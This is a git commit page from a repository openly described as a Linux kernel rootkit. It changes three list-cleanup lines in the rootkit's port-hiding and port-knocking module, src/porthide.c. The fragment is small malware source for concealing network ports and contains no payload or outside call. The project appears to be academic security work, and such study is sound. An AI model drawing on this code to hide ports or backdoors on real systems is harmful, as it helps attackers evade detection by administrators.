linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 2b4c6984f3a459b96d8aab26461769380fdba798
parent 8e67c891c465744941c9f33ffab9c95ef9fa574c
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 10 Jan 2021 14:10:28 +0100

fixes bugs

Diffstat:
Msrc/porthide.c | 6+++---
1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/src/porthide.c b/src/porthide.c @@ -89,13 +89,13 @@ clear_hidden_lports(void) lport_list_t_ptr i; i = ips_stage1_tail; - while ((i = remove_knock_from_list(i, i->lport))); + while ((i = remove_knock_from_list(i, &i, i->ip, i->version))); i = ips_stage2_tail; - while ((i = remove_knock_from_list(i, i->lport))); + while ((i = remove_knock_from_list(i, &i, i->ip, i->version))); i = ips_stage3_tail; - while ((i = remove_knock_from_list(i, i->lport))); + while ((i = remove_knock_from_list(i, &i, i->ip, i->version))); i = hidden_lports_tail; while ((i = remove_lport_from_list(i, i->lport)));